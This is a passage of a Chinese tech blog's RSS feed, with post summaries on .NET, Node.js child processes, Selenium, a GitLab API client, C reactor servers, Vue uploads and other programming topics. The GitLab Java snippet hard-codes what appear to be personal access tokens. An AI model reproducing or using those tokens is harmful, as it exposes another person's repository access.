      <link>https://bchobby.github.io/posts/dca8c11aa898b09f038a101d74f4929a/</link>
      <pubDate>Tue, 02 Jan 2024 19:37:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dca8c11aa898b09f038a101d74f4929a/</guid>
      <description>什么是.NET？ .NET是一种由微软开发的软件框架，用于开发和运行各种类型的应用程序。它提供了一个统一的编程模型，使开发人员能够使用多种编程语言（如C#、VB.NET等）来创建跨平台的应用程序。&#xA;什么是面向对象编程？ 面向对象编程（OOP）是一种编程方法，它将程序组织为对象的集合，每个对象都有自己的数据和行为。面向对象编程的特点包括封装、继承和多态。&#xA;请解释封装的概念。 封装是一种将数据和方法打包在一起的机制，以便对外部隐藏数据的细节。它可以通过访问修饰符来控制对数据的访问权限，只有通过定义的方法才能访问和修改数据。&#xA;请解释继承的概念。 继承是一种机制，允许一个类（称为子类或派生类）继承另一个类（称为父类或基类）的属性和方法。子类可以使用继承的属性和方法，并可以添加自己的额外属性和方法。&#xA;请解释多态的概念。 多态是指同一个方法可以根据不同的对象类型执行不同的操作。多态可以通过继承和接口来实现。&#xA;什么是接口？ 接口定义了一组方法和属性的契约，但不提供实现。它允许多个类实现相同的接口，以实现代码的重用和扩展。&#xA;请解释委托的概念。 委托是一种引用类型，用于封装一个或多个方法，并允许以相同的签名调用这些方法。委托可以作为参数传递给其他方法，也可以用于事件处理和回调函数。&#xA;什么是LINQ？ LINQ（Language Integrated Query）是一种用于查询和操作各种数据源的统一查询语法。它提供了一种简化和统一的方法来查询和操作数据，包括集合、数据库、XML和对象。&#xA;请解释异步编程的概念。 异步编程是一种编程模型，允许在执行长时间运行的操作时保持应用程序的响应性。它使用异步方法和任务来处理非阻塞的并发操作，并允许应用程序在操作完成之前执行其他任务。&#xA;什么是异常处理？ 异常处理是一种处理程序中发生的错误或异常情况的机制。它允许开发人员识别并捕捉异常，并提供适当的处理逻辑以处理异常或恢复程序的正常执行。&#xA;请解释泛型的概念。 泛型是一种允许在编写代码时指定类型的机制。它提供了一种类型安全和重用代码的方式，使开发人员能够编写通用和可扩展的代码。&#xA;请解释反射的概念。 反射是一种机制，允许在运行时检查和修改程序的结构和行为。它提供了一种动态访问和操作程序集、类型、方法和属性的方式。&#xA;请解释如何进行单元测试。 单元测试是一种测试方法，用于验证代码中的单个单元（如方法或类）是否按照预期工作。它通常包括编写测试用例、运行测试、验证结果和修复错误。&#xA;请解释如何进行调试。 调试是一种用于分析和修复代码错误的方法。它允许开发人员在运行时检查代码的状态、执行流程和变量的值，并通过断点、日志和观察面板来跟踪代码的执行。&#xA;请解释如何进行性能优化。 性能优化是一种优化代码和系统资源以提高应用程序性能的方法。它包括使用高效的算法和数据结构、减少资源的使用、并行化操作以及进行代码优化。&#xA;请解释如何进行安全编程。 安全编程是一种编写代码以保护应用程序和用户数据安全性的方法。它包括验证用户输入、防止代码注入、使用安全密码和加密算法以及实施访问控制和权限管理。&#xA;请解释并发编程的概念。 并发编程是一种通过多个线程或进程同时执行来提高应用程序性能和响应性的方法。它涉及到同步和协调线程的执行，以避免竞态条件和死锁等问题。&#xA;请解释面向服务编程的概念。 面向服务编程（SOA）是一种将应用程序分解为独立的、可重用的服务的方法。它允许通过网络调用服务来实现分布式系统和业务流程的集成。&#xA;请解释微服务架构的概念。 微服务架构是一种基于独立部署的小型服务的方法，每个服务都负责执行特定的业务功能。它提供了一种分解复杂系统和实现可伸缩性的方式。&#xA;请解释容器化的概念。 容器化是一种将应用程序及其依赖项打包到独立的、可移植的容器中的方法。容器可以在任何支持容器引擎的环境中运行，提供一致的开发和部署体验。</description>
    </item>
    <item>
      <title>大数据领域相关术语总结</title>
      <link>https://bchobby.github.io/posts/3e769fb4bbc6c0061aa22fd31d634639/</link>
      <pubDate>Tue, 02 Jan 2024 19:31:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e769fb4bbc6c0061aa22fd31d634639/</guid>
      <description>目录 01、PGC02、UGC03、CTR04、CVR05、留存率06、UV07、PV08、DAU09、ROI10、KPI11、RFM 01、PGC PGC 是 Professionally Generated Content 的缩写，意为专业生产的内容。PGC 的内容通常由专业的内容创作者、媒体机构或者公司进行创作和生产，具有较高的质量和专业性。PGC 的内容形式多样，包括文章、视频、音频、图片等，通常需要经过严格的审核和筛选，符合一定的标准和要求。PGC 的受众面相对较广，适合于传播各种类型的信息和知识。&#xA;02、UGC UGC 是 User Generated Content 的缩写，意为用户生成的内容。UGC 的内容是由普通用户或者消费者自行创作和生产的，通常不经过严格的审核和筛选，质量和专业性相对较低。UGC 的内容形式多样，包括照片、视频、文字、音频等，通常具有一定的个性化和创新性。UGC 的受众面相对较窄，通常更适合于分享个人经验、生活感悟、创意作品等。&#xA;03、CTR CTR 是 Click-Through Rate 的缩写，意为点击率。CTR 指的是广告被点击的次数与广告被展示的次数之间的比例，通常以百分比的形式表示。CTR 是衡量广告吸引力和效果的重要指标之一，它可以帮助广告主评估广告的质量和效果，优化广告投放策略。&#xA;04、CVR CVR 是 Conversion Rate 的缩写，意为转化率。CVR 指的是广告被点击后，用户进行了期望的行为（比如购买、注册、订阅等）的次数与广告被点击的次数之间的比例，通常以百分比的形式表示。CVR 是衡量广告转化效果的重要指标之一，它可以帮助广告主评估广告的实际效果，优化广告投放策略。&#xA;05、留存率 留存率（Retention Rate）指的是在一定时间内，用户或客户继续使用产品或服务的比率。留存率通常是以百分比的形式表示，它是一个重要的用户活跃度指标，可以帮助企业评估产品或服务的质量和用户忠诚度。常用的有次日留存率，3日留存率，7日留存率，30日留存率等&#xA;06、UV UV 是 Unique Visitor 的缩写，意为独立访客数。UV 指的是在一定时间范围内，访问网站或应用的独立用户数量，同一用户多次访问只计算一次。UV 是衡量网站或应用受众面和影响力的重要指标之一，它可以帮助企业评估品牌知名度和用户忠诚度。&#xA;07、PV PV 是 Page View 的缩写，意为页面浏览量。PV 指的是在一定时间范围内，网站或应用页面被访问的次数，同一用户多次访问同一页面计算多次。PV 是衡量网站或应用流量和用户活跃度的重要指标之一，它可以帮助企业评估网站或应用的流量质量和用户参与度。&#xA;08、DAU 日活（Daily Active Users，DAU）是指在一天内使用某个产品或服务的独立用户数量，通常用于衡量产品或服务的日常活跃度和受众规模。日活通常以独立用户数的形式表示，是一个重要的互联网指标之一。&#xA;09、ROI ROI 是 Return on Investment 的缩写，意为投资回报率。ROI 是一个用于衡量投资收益的指标，通常用于评估投资的效果和收益。</description>
    </item>
    <item>
      <title>selenium实现UI自动化</title>
      <link>https://bchobby.github.io/posts/421a8654ab984038c8c7354b31f5cd4e/</link>
      <pubDate>Tue, 02 Jan 2024 19:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/421a8654ab984038c8c7354b31f5cd4e/</guid>
      <description>1.selenium简介 selenium是支持web浏览器自动化的一系列工具和库的综合项目。具有支持linux、windows等多个平台，支持Firefox、chrome等多种主流浏览器；支持Java、Python等多种语言。&#xA;主要包括的三大工具有：&#xA;WebDriver（rc 1.0)、IDE、Grid&#xA;selenium webDriver 它是selenium2.0之后的核心，webDriver通过原生浏览器支持或者浏览器扩展直接控制浏览器，webDriver通过各个浏览器开发，取代了嵌入到被测web中的javaScript(selenium 1.0)&#xA;webDriver的核心方法和属性：&#xA;浏览器的名称：driver.name当前的url: driver.current_url当前页面标题：driver.title当前页面源码：driver.page_source窗口句柄：driver.current_window_handle当前窗口所有句柄：driver.window_ handles selenium IDE 录制回放工具。提供记录和回放功能。允许开发测试人员以Java、Python等多种语言导出录制的脚本。可以在selenium rc或者webDriver中使用这些脚本&#xA;selenium grid 允许我们在多台计算机上并行测试，并集中管理不同浏览器版本和浏览器配置&#xA;配图……&#xA;2.UI自动化实现 webDriver的工作原理如下： 对于每一条Selenium脚本，一个http请求会被创建并发送给浏览器的驱动浏览器驱动中包含了一个http server ，用来接收这些http 请求Http Server 接收到请求后根据请求来具体操控对应的浏览器浏览器执行具体的步骤浏览器将步骤执行结果返回给http serverHttp server 又将结果返回给Selenium的脚本，如果是错误的http代码我们就会在控制台看到对应的报错信息 webDriver的核心方法和属性 属性如下：&#xA;——&#xA;核心方法：</description>
    </item>
    <item>
      <title>exec、execFile、fork、spawn的区别与使用场景</title>
      <link>https://bchobby.github.io/posts/2127426901bcb7a0df7933081190bd7e/</link>
      <pubDate>Tue, 02 Jan 2024 18:49:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2127426901bcb7a0df7933081190bd7e/</guid>
      <description>在Node.js中，通过子进程可以实现并行执行任务，处理复杂的操作，以及与外部命令或文件进行交互。Node.js提供了多种子进程创建方法，包括exec、execFile、fork和spawn。本文将对这些方法进行比较，并介绍它们的适用场景和示例。&#xA;一、方法概览 以下是exec、execFile、fork和spawn方法的简要概述：&#xA;exec:&#xA;执行 shell 命令创建新的 shell 进程获取命令的输出和错误信息 execFile:&#xA;执行指定的可执行文件不通过 shell 执行命令获取命令的输出和错误信息 fork:&#xA;衍生新的 Node.js 子进程执行 JavaScript 文件支持父子进程间通过消息进行通信 spawn:&#xA;执行命令不创建 shell 进程支持流式处理输入输出 二、exec、execFile、fork、spawn使用场景 exec 适用场景：执行简单的 shell 命令，获取命令的输出和错误信息。&#xA;const { exec } = require(&#39;child_process&#39;); exec(&#39;ls -l&#39;, (error, stdout, stderr) =&amp;gt; { if (error) { console.error(`Error: ${error.message}`); return; } console.log(`Command output: ${stdout}`); }); execFile 适用场景：执行可执行文件，获取输出和错误信息。&#xA;const { execFile } = require(&#39;child_process&#39;); execFile(&#39;myapp.exe&#39;, (error, stdout, stderr) =&amp;gt; { if (error) { console.</description>
    </item>
    <item>
      <title>maven-插件开发(idea)-4</title>
      <link>https://bchobby.github.io/posts/e9952a19e1367386999500618e7fd71c/</link>
      <pubDate>Tue, 02 Jan 2024 18:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9952a19e1367386999500618e7fd71c/</guid>
      <description>package gitlab; import org.gitlab4j.api.Constants; import org.gitlab4j.api.GitLabApi; import org.gitlab4j.api.GitLabApiException; import org.gitlab4j.api.models.Branch; import org.gitlab4j.api.models.MergeRequest; import org.gitlab4j.api.models.MergeRequestParams; import org.gitlab4j.api.models.Project; import java.util.List; public class GitMain { String gitLabUrl = &#34;域名&#34;; static String projectId = &#34;rcs/项目名&#34;; static GitLabApi gitLabApi; GitMain(String gitLabUrl,String projectId ){ gitLabApi = new GitLabApi(GitLabApi.ApiVersion.V4, &#34;https://git.com&#34;, &#34;wfG-_kDzzxkqrts8mz5L&#34;); } public static Project getGitLabApi() throws GitLabApiException { // String personalAccessToken = &#34;_C-xfqXrp3dfqUWjTy4y&#34;; // GitLabApi gitLabApi = new GitLabApi(gitLabUrl, personalAccessToken); // Project project = gitLabApi.getProjectApi().getProject(projectId); // 创建 GitLabApi 实例 // 获取项目列表 Project project = gitLabApi.</description>
    </item>
    <item>
      <title>基于多反应堆的高并发服务器【C/C&#43;&#43;/Reactor】（中）在EventLoop的任务队列中添加新任务</title>
      <link>https://bchobby.github.io/posts/1d153c4dd7e992556c082470f2448a99/</link>
      <pubDate>Tue, 02 Jan 2024 18:39:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d153c4dd7e992556c082470f2448a99/</guid>
      <description>任务队列是一个链表，每个节点包含channel类型、文件描述符和操作类型。在添加节点时，需要考虑线程同步，并确保节点被正确地添加到链表中。节点的操作可以写到另一个函数中，以便于程序的维护。在添加任务节点时，需要加互斥锁，因为有可能是当前线程或主线程进行添加操作。 本文主要介绍了在dispatcher中的处理流程，包括线程同步以及节点的添加和操作。其中，任务队列是一个链表，每个节点包含channel类型、文件描述符和操作类型。在添加节点时，需要考虑线程同步，并确保节点被正确地添加到链表中。&#xA;EventLoop.h // 添加任务到任务队列 int eventLoopAddTask(struct EventLoop* evLoop,struct Channel* channel,int type); EventLoop.c (1) 为什么在上面添加链表节点的时候需要加互斥锁？&#xA;因为有可能是当前线程去添加，也有可能是主线程去添加。 (2) 如果当前的线程是主线程，那么我们能够让主线程进行节点的处理吗？&#xA;肯定不能，因为你当前主线程它只能负责和客户端建立连接，如果这个连接建立好了，剩下的事情都是需要由这个子线程来完成的。所以主线程肯定不会给你去处理任务队列里边的节点。在主线程里边，其实它是有一个反应堆模型的，在当前的这个子线程里边也有一个反应堆模型。每个反应堆模型里边都有一个Dispatcher。关于这个Dispatcher就是epoll、poll、或者select模型，所以主线程去处理的话，这个任务就放到主线程的那个Dispatcher里边了，这样很显然是不对的。故在子线程的任务队列里边有了任务之后，还需要交给子线程的Dispatcher去处理。因此这个节点的处理，还需要判断当前线程到底是什么线程。如果它是主线程不能让它去处理，如果是子线程，直接让它去处理。 // 添加任务到任务队列 int eventLoopAddTask(struct EventLoop* evLoop,struct Channel* channel,int type) { // 加锁，保护共享资源 pthread_mutex_lock(&amp;amp;evLoop-&amp;gt;mutex); // 创建新节点,后添加到任务队列中去 struct ChannelElement* node = (struct ChannelElement*)malloc(sizeof(struct ChannelElement)); node-&amp;gt;channel = channel; node-&amp;gt;type = type; node-&amp;gt;next = NULL; // 链表为空 if(evLoop-&amp;gt;head == NULL) { evLoop-&amp;gt;head = evLoop-&amp;gt;tail = node; }else { evLoop-&amp;gt;tail-&amp;gt;next = node; // 添加 evLoop-&amp;gt;tail = node; // 后移 } pthread_mutex_unlock(&amp;amp;evLoop-&amp;gt;mutex); // 处理节点 /** * 这个描述假设了一个前提条件，就是当前的EventLoop反应堆属于子线程 * 细节： * 1.</description>
    </item>
    <item>
      <title>并发编程(高并发、多线程) 第二篇章</title>
      <link>https://bchobby.github.io/posts/bf4573b489d2d39296d6e9bc6dd21ce8/</link>
      <pubDate>Tue, 02 Jan 2024 18:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf4573b489d2d39296d6e9bc6dd21ce8/</guid>
      <description>暂时没有内容</description>
    </item>
    <item>
      <title>UnityRenderStreaming使用记录（一）</title>
      <link>https://bchobby.github.io/posts/4e743846436d64a41f7f2a64be0eda3c/</link>
      <pubDate>Tue, 02 Jan 2024 18:01:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e743846436d64a41f7f2a64be0eda3c/</guid>
      <description>UnityRenderStreaming 地址https://github.com/Unity-Technologies/UnityRenderStreaming&#xA;一、客户端相关 1、unity工程添加Package 2、WebRTC选Version 3.0.0-pre.6，升级会报错 导入Samples&#xA;3、打开Broadcast场景 二、服务器相关 这里使用github上的源码，方便以后修改&#xA;1、下载https://github.com/Unity-Technologies/UnityRenderStreaming/archive/refs/tags/3.1.0-exp.7.zip 解压后使用WebApp文件夹&#xA;2、安装Node.js 下载地址https://nodejs.org/ 3、在WebApp目录执行 npm install npm run build npm run pack 目录下打包出webserver.exe&#xA;三、最后 运行webserver.exe&#xA;然后编辑器运行Broadcast场景&#xA;浏览器打开127.0.0.1&#xA;我的工程地址https://gitee.com/awnuxcvbn/UnityRenderStreaming.git&#xA;参考文章https://blog.csdn.net/qq_22955617/article/details/127052164</description>
    </item>
    <item>
      <title>AI&#43;金融：大模型引爆金融科技革命</title>
      <link>https://bchobby.github.io/posts/d22fe1f4e99e8088afb3a7a865f415f3/</link>
      <pubDate>Tue, 02 Jan 2024 17:52:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d22fe1f4e99e8088afb3a7a865f415f3/</guid>
      <description>仅供机构投资者使用&#xA;证券研究报告|行业深度研究报告&#xA;AI+金融：大模型引爆金融科技革命&#xA;“AI+应用”系列（二）&#xA;华西计算机团队&#xA;2023年7月28日&#xA;分析师：刘泽晶 联系人：刘波&#xA;SAC NO：S1120520020002 邮箱：liubo1@hx168.com.cn&#xA;邮箱：liuzj1@hx168.com.cn&#xA;请仔细阅读在本报告尾部的重要法律声明核心逻辑&#xA; 金融科技迎来强催化，AI+金融迎来发展良机&#xA; 根据新华社消息，中共中央政治局24日召开会议，分析研究当前经济形势，部署下半年经济工作。会议指出，要活跃资本市场，提振投资&#xA;者信心。金融科技行业迎来强催化。&#xA; Al+金融更侧重于为传统行业的模式创新和流程再造提供新的思路和方法，从而催生新的商业模式，提高运营效率，带来整个产业的全面升&#xA;级。AI应用场景涵盖前中后台中的市场营销、产品设计、风险管控、客户服务、运营支持等。&#xA; 据艾瑞咨询统计测算，2021年AI+金融核心市场规模达到296亿元，带动相关产业规模677亿元，到2026年，核心市场规模达到666亿元，&#xA;CAGR为17.6%，带动相关产业规模1562亿元，CAGR为18.2%。&#xA; 金融行业数据、场景丰富，大模型走上金融大舞台&#xA; 我们认为，金融行业数据丰富且数据质量高，具备大模型训练的良好基础。同时，金融行业细分领域众多，且大量产品最终服务于C端用户，&#xA;大模型应用场景丰富。随着大模型与金融业务的融合，创新应用将层出不穷。&#xA; 金融行业数字化需求刚性，投入巨大，是大模型应用落地的大舞台：根据艾瑞咨询的数据，2022年，以银行、保险、证券为主的金融机构&#xA;技术资金投入预计将超过4000亿元。2022年中国银行与保险机构前沿科技采购支出将达到170亿元。&#xA; 相关行业已有大量应用案例：Bloomberg GPT、Morgan Stanley、Lemonade、苏黎世保险、度小满、瑞穗金融集团等。&#xA; 新一轮金融科技革命，产品&amp;amp;商业模式均有望革新&#xA; 我们认为，随着大模型技术与业务的深度融合，头部金融科技企业有望实现产品和商业模式的革新，实现从产品+服务收费向SaaS订阅收&#xA;费、运营分润收费的转变。&#xA; 我们认为，金融科技细分领域众多，各细分领域龙头具备技术、行业Know-How等要素，与头部金融机构的长期合作关系有利于补齐数据、&#xA;场景等要素，相关产品有望率先落地。&#xA; 行业受益标的：&#xA; 我们认为，在各细分领域深耕多年，在AI领域早有布局，且积极拥抱大模型技术变革的公司具有先发优势，行业受益标的包括：同花顺、&#xA;指南针、恒生电子、财富趋势、新致软件、宇信科技、金证股份等。&#xA; 风险提示：1） AI技术发展不及预期；2）相关政策落地不及预期；3）中美博弈突发事件；4）AI伦理风险；5）市场系统性风险等。&#xA;1目录&#xA;01 金融科技迎来强催化，AI+金融迎来发展良机&#xA;02 数据、场景均丰富，大模型走上金融大舞台&#xA;03 新一轮金融科技革命，产品&amp;amp;商业模式均有望革新&#xA;04 行业受益标的及风险提示&#xA;2</description>
    </item>
    <item>
      <title>解决vim退格键无法使用问题</title>
      <link>https://bchobby.github.io/posts/140432846de8c0a386db0036665ce18a/</link>
      <pubDate>Tue, 02 Jan 2024 17:49:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/140432846de8c0a386db0036665ce18a/</guid>
      <description>问题描述 最近遇到一个奇怪的问题，在容器linux环境下使用vim编辑器，发现某几台容器下的vim部分功能突然无法正常使用，比如在insert模式下按退格键不能正常删除字符。&#xA;经过查资料，终于找到该问题的解法~&#xA;解法 编辑vimrc文件（如果没有则创建）&#xA;vim ~/.vimrc 将以下行添加到文件顶部&#xA;set nocompatible 保存文件，重新进入vim测试，发现问题解决。&#xA;参考资料1</description>
    </item>
    <item>
      <title>Java：表单生成excel文档 poi 通用</title>
      <link>https://bchobby.github.io/posts/45c37d897f00582f2c2e7bfe32c9e8be/</link>
      <pubDate>Tue, 02 Jan 2024 17:44:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45c37d897f00582f2c2e7bfe32c9e8be/</guid>
      <description>在用java 写数据库应用的时候, 通常会生成各种报表，而这些报表可能会被导出为各种格式的文件，比如Excel文档，pdf 文档等等. 今天先做了一个生成Excel 文档的例子，主要解决以下问题：&#xA;1. 生成 Excel 文档.&#xA;2. 自动对生成的Excel 文档第一行标题栏设置成filter 过滤形式, 方便用户使用.&#xA;导入依赖： &amp;lt;!--依赖的jar包--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; Excel转换通用类：&#xA;package com.kingbal.king.dmp; import org.apache.poi.hssf.usermodel.HSSFCellStyle; import org.apache.poi.hssf.usermodel.HSSFFont; import org.apache.poi.hssf.usermodel.HSSFSheet; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.hssf.util.HSSFColor; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.Row; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; /** * &amp;lt;b&amp;gt;Function: &amp;lt;/b&amp;gt; todo * * @program: ExcelUtil * @Package: com.kingbal.king.dmp * @author: dingcho * @date: 2023/12/30 * @version: 1.</description>
    </item>
    <item>
      <title>el-upload 上传.pdf文件，并读取文件内容</title>
      <link>https://bchobby.github.io/posts/3463841753af8519da9cb5f420cfbcae/</link>
      <pubDate>Tue, 02 Jan 2024 17:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3463841753af8519da9cb5f420cfbcae/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-upload class=&#34;upload-demo&#34; :action=&#34;https://bchobby.github.io/file/upload/&#34; accept=.pdf&#34; name=&#34;upfile&#34; :on-success=&#34; (response, file, fileList) =&amp;gt; { return handleImgSuccess(response, file, fileList) } &#34;&amp;gt; &amp;lt;el-button size=&#34;small&#34; type=&#34;primary&#34;&amp;gt;点击上传&amp;lt;/el-button&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;div v-html=&#34;pdfContent&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import pdfjsLib from &#34;pdfjs-dist&#34;; export default { data() { return { pdfContent: &#34;&#34;, }; }, methods: { handleImgSuccess(res, file) { console.log(res, file); const fileObj = file.raw; if (fileObj.type === &#34;application/pdf&#34;) { const reader = new FileReader(); reader.onload = (e) =&amp;gt; { const arrayBuffer = e.</description>
    </item>
    <item>
      <title>MIT_线性代数笔记：第 22 讲 对角化和矩阵的幂</title>
      <link>https://bchobby.github.io/posts/56f98f96ce8dfa7a2cfab57eb25f11b5/</link>
      <pubDate>Tue, 02 Jan 2024 17:39:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56f98f96ce8dfa7a2cfab57eb25f11b5/</guid>
      <description>目录 对角化矩阵 Diagonalizing a matrix S−1AS = Λ矩阵的幂 Powers of A重特征值 Repeated eigenvalues差分方程 Difference equations u k + 1 u_{k+1} uk+1​=A u k u_k uk​斐波那契数列 Fibonacci sequence 本讲中将学习如何对角化含有 n 个线性无关特征向量的矩阵，以及对角化是怎样简化计算的。 对角化矩阵 Diagonalizing a matrix S−1AS = Λ 如果矩阵 A 具有 n 个线性无关的特征向量，将它们作为列向量可以组成一个可逆方阵 S，并且有：&#xA;这里的矩阵 Λ 为对角阵，它的非零元素就是矩阵 A 的特征值。因为矩阵 S 中的列向量线性无关，因此逆矩阵 S-1存在。在等式两侧左乘逆矩阵，得到 S-1AS=Λ。同样地，A=SΛS-1。&#xA;对于消元法而言，矩阵有 LU 分解，对于施密特正交法，矩阵有 QR 分解，而上面的推导是一种新的矩阵分解。&#xA;矩阵的幂 Powers of A 特征值给矩阵的幂计算提供了方法。&#xA;如果 Ax=λx，则有 A 2 A^2 A2x=λAx= λ 2 λ^2 λ2x。说明矩阵 A 2 A^2 A2 有着和 A 一样的特征向量，而特征值为 λ 2 λ^2 λ2。我们将写成对角化形式则有： A 2 A^2 A2=SΛ S − 1 S^{-1} S−1SΛ S − 1 S^{-1} S−1=S Λ 2 Λ^2 Λ2 S − 1 S^{-1} S−1。做相同的处理还可以得到： A k A^k Ak =S Λ k Λ^k Λk S − 1 S^{-1} S−1。这说明 A k A^k Ak 有着和 A 一样的特征向量，而特征值为 λ k λ^k λk。</description>
    </item>
    <item>
      <title>2024年 AI在供应链安全方面的应用浅析</title>
      <link>https://bchobby.github.io/posts/3525b20b83a57d687401e124366c6f4f/</link>
      <pubDate>Tue, 02 Jan 2024 17:39:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3525b20b83a57d687401e124366c6f4f/</guid>
      <description>2024年供应链安全的发展趋势主要包括以下几个方面：&#xA;数字化转型与技术创新： 随着供应链的数字化程度提升，企业将更加依赖先进技术来保障安全性。人工智能、区块链、物联网等技术的广泛应用将帮助企业提高供应链的可见性和反应速度。风险管理与合规性： 供应链安全将更加强调风险管理和合规性。企业将加强对供应商的审核，确保其符合相关法规，并采取更加主动的措施来应对潜在的安全威胁。人工智能应用： 人工智能在供应链安全中的应用将进一步增加。通过利用机器学习算法来分析大量数据，企业可以更好地识别潜在的安全威胁，并采取预防措施。透明度与可追溯性： 消费者对产品的透明度和可追溯性要求逐渐增加，因此企业将更加注重建立可追溯的供应链体系，以提高产品的质量和信誉。协作与信息共享： 供应链各方之间的协作与信息共享将变得更加密切。通过建立有效的沟通渠道和信息共享机制，可以更快速地应对潜在的安全威胁。 2024年的供应链安全发展趋势将更加注重技术创新、风险管理、人工智能应用以及协作与信息共享。这些趋势将有助于提升整个供应链体系的安全性和可靠性。那么，2023你如火如荼的AI在供应链安全方面有许多具体应用，大概有一下几个方面：&#xA;风险管理： AI可以通过分析大量数据来识别供应链中的潜在风险，包括地理风险、政治风险、天气影响等，帮助企业采取相应的风险管理措施。实时监测： AI系统能够实时监测供应链中的活动，识别异常情况并及时发出警报。这有助于迅速应对潜在问题，减少损失。预测性分析： 基于历史数据和趋势，AI可以进行预测性分析，帮助企业预测供应链中可能发生的问题，从而提前采取措施避免损失。货物跟踪： 利用物联网（IoT）和AI技术，可以实时跟踪货物在供应链中的位置和状态，提高货物运输的可视性和透明度。供应链网络优化： AI可以优化供应链网络，提高效率和降低成本。通过分析数据，AI可以提供优化建议，例如最佳的物流路径、库存水平等。识别欺诈： AI可以帮助识别供应链中的欺诈行为，包括虚假订单、伪造产品等，从而确保供应链的诚信性。合规性管理： AI系统可以监测和确保供应链活动符合法规和行业标准，降低合规风险。 总体而言，AI在供应链安全方面的应用有助于提高供应链的可靠性、透明度和效率，从而降低潜在的风险和损失。&#xA;（智能创作）</description>
    </item>
    <item>
      <title>el-upload 上传.doc(.docx)文件，并读取文件内容</title>
      <link>https://bchobby.github.io/posts/e7657a40e61bcfab8f21890ebbf9629d/</link>
      <pubDate>Tue, 02 Jan 2024 17:38:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7657a40e61bcfab8f21890ebbf9629d/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;el-upload class=&#34;upload-demo&#34; :action=&#34;https://bchobby.github.io/file/upload/&#39; name=&#34;upfile&#34; :show-file-list=&#34;false&#34; accept=&#34;.docx,.doc&#34; :on-success=&#34;(response, file, fileList) =&amp;gt; { return handleImgSuccess(response, file, fileList) } &#34;&amp;gt; &amp;lt;el-button size=&#34;small&#34; type=&#34;primary&#34;&amp;gt;点击上传&amp;lt;/el-button&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import mammoth from &#34;mammoth&#34;; export default { data() { return { inputValue: &#34;&#34;, }; }, methods: { handleImgSuccess(response, file, fileList) { const arrayBuffer = file.raw; mammoth .extractRawText({ arrayBuffer: arrayBuffer }) .then((result) =&amp;gt; { const text = result.value; // 读取的 .doc 文件内容 console.log(text); }) .catch((error) =&amp;gt; { console.</description>
    </item>
    <item>
      <title>微信小程序开发系列-12label组件使用理解</title>
      <link>https://bchobby.github.io/posts/ef1fb71f6b5499825113cf000d478596/</link>
      <pubDate>Tue, 02 Jan 2024 17:37:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef1fb71f6b5499825113cf000d478596/</guid>
      <description>微信小程序开发系列目录 《微信小程序开发系列-01创建一个最小的小程序项目》&#xA;《微信小程序开发系列-02注册小程序》&#xA;《微信小程序开发系列-03全局配置中的“window”和“tabBar”》&#xA;《微信小程序开发系列-04获取用户图像和昵称》&#xA;《微信小程序开发系列-05登录小程序》&#xA;《微信小程序开发系列-06事件》&#xA;《微信小程序开发系列-07组件》&#xA;《微信小程序开发系列-08自定义组件模版特性》&#xA;《微信小程序开发系列-09自定义组件样式特性》&#xA;《微信小程序开发系列-10组件间通信01》&#xA;《微信小程序开发系列-11组件间通信02》&#xA;文章目录 微信小程序开发系列目录前言checkboxcheckbox-groupwx:forLabel总结 前言 对于组件label的作用，看官方的文字描述，不知道到底是啥作用。本着“If you can’t explain it to a six year old, you don’t understand it yourself.”的原则，我还是想把这个组件弄明白并记录于本文中。&#xA;checkbox 多选项目。&#xA;属性类型默认值必填说明最低版本valuestring否checkbox标识，选中时触发checkbox-group的 change 事件，并携带 checkbox 的 value1.0.0disabledbooleanfalse否是否禁用1.0.0checkedbooleanfalse否当前是否选中，可用来设置默认选中1.0.0colorstring#09BB07否checkbox的颜色，同css的color1.0.0 checkbox-group 多项选择器，内部由多个checkbox组成。&#xA;属性类型默认值必填说明最低版本bindchangeEventHandle否checkbox-group中选中项发生改变时触发 change 事件，detail = {value:[选中的checkbox的value的数组]}1.0.0 checkbox必须和checkbox-group一起使用；当选中或取消checkbox-group中的checkbox时，会触发checkbox-group的change事件，在事件处理函数中会获取到所有checkbox的value。 从运行结果可以看出，只要点击一次checkbox，checkboxChange函数就会被调用；如果checkbox-group中只有要checkbox是“选中”状态，那么checkboxChange函数中就可以获取到checkbox的value值。如果都没有“选中”，则e.detail.value为空数组。&#xA;wx:for 在组件上使用 wx:for 